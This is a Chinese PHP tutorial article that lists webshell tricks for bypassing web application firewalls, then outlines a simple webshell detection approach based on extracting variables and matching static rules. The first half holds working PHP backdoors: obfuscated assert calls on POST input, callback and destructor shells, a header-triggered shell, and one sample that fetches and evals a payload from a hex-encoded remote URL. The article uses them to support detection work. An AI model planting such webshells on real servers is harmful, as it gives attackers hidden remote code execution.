当前位置:首页 > PHP教程 > php高级应用 > 列表

PHP常见过waf webshell以及最简单的检测方法

发布:smiling 来源: PHP粉丝网  添加日期:2021-11-22 23:30:01 浏览: 评论:0 

这篇文章主要给大家介绍了关于PHP常见过waf webshell以及最简单的检测方法,文中通过示例代码介绍的非常详细,对大家学习或者使用PHP具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧。

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

  1. <?php 
  2. $a = base64_decode("YXNzYXNz+00000____"); 
  3. $a = substr_replace($a,"ert",3); 
  4. $a($_POST['x']); 
  5. ?> 
  6.  
  7. ucwords() 
  8. ucfirst() 
  9. trim() 
  10. substr_replace() 
  11. substr() 
  12. strtr() 
  13. strtoupper() 
  14. strtolower() 
  15. strtok() 
  16. str_rot13() 
  17. chr() 
  18. gzcompress()、gzdeflate()、gzencode() 
  19. gzuncompress()、gzinflate()、gzdecode() 
  20. base64_encode() 
  21. base64_decode() 
  22. pack() 
  23. unpack() 

自写函数

利用 assert()

  1. <?php  
  2. function test($a){ 
  3.   $a($_POST['x']); 
  4. test(assert); 
  5. ?> 

回调函数

  1. <?php  
  2. call_user_func(assert,array($_POST[x])); 
  3. ?> 
  4.  
  5. call_user_func_array() 
  6. array_filter()  
  7. array_walk()  
  8. array_map() 
  9. registregister_shutdown_function() 
  10. register_tick_function() 
  11. filter_var()  
  12. filter_var_array()  
  13. uasort()  
  14. uksort()  
  15. array_reduce() 
  16. array_walk()  
  17. array_walk_recursive() 
  18. forward_static_call_array() 

利用魔术方法、析构函数 __destruct() , __construct()

  1. <?php  
  2. class test 
  3.  public $a = ''
  4.  function __destruct(){ 
  5.   assert("$this->a"); 
  6.  } 
  7. $b = new test; 
  8. $b->a = $_POST['x']; 
  9. ?> 

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

  1. <?php 
  2. error_reporting(0); 
  3. session_start(); 
  4. header("Content-type:text/html;charset=utf-8");if(emptyempty($_SESSION['api'])) 
  5. $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*"
  6. '687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649); 
  7. @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); 
  8. ?> 

无字符特征马

编码、异或、自增

  1. <?php 
  2. $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; 
  3. $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; 
  4. $___=$$__
  5. $_($___[_]); // assert($_POST[_]); 
  6. ?> 

特殊请求头

利用 getallheaders()

  1. <?php 
  2. $cai=getallheaders()['cai']; 
  3. $dao=getallheaders()['dao']; 
  4. if($cai!="" and $dao!=""){ 
  5.  $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao))); 
  6. header('HTTP/1.1 404 Not Found'); 
  7. ?> 

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

  1. import requests 
  2. url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));' 
  3. payload = "phpinfo();".encode('hex'
  4. cookies = { 
  5.  'PHPSESSID':payload 
  6. r = requests.get(url=url,cookies=cookies) 
  7. print r.content 

PHP混淆加解密

以phpfensi为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpfensi.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等

动态检测(沙箱)

基于流量模式检测webshell:agent

逆向算法+静态匹配检测webshell:比如D盾webshell查杀

根据文件入度出度来检测

实例展示

这里以phpfensi的webshell为例,其中 2.php 即为phpfensi的木马

waf webshell PHP检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

  1. ├── __init__.py 
  2. ├── conf 
  3. │   ├── __init__.py 
  4. │   ├── config.py 
  5. ├── core 
  6. │   ├── __init__.py 
  7. │   ├── all_check.py 
  8. │   ├── data_mysql.py 
  9. │   └── file_inotify.py 
  10. ├── lib 
  11. │   ├── __init__.py 
  12. │   └── semantic_analysis_api.py 
  13. ├── test 
  14. │   ├── __init__.py 
  15. │   ├── file_md5_move.py 
  16. │   ├── os_check.py 
  17. │   ├── random_file_test.py 
  18. │   └── ... 
  19. ├── web 
  20. │   ├── static 
  21. │   │   ├── css 
  22. │   │   │   ├── main.css 
  23. │   │   ├── images 
  24. │   │   │   └── background.jpg 
  25. │   │   └── js 
  26. │   │       └── upload.js 
  27. │   ├── templates 
  28. │   │   ├── index.html 
  29. │   ├── upload_file.php 
  30. │   └── include_file_to_tmp.php 
  31. ├── webshell_check.py 

conf中包含的是诸如下列的静态检测规则

waf webshell PHP检测方法

Tags: waf webshell PHP检测方法

分享到: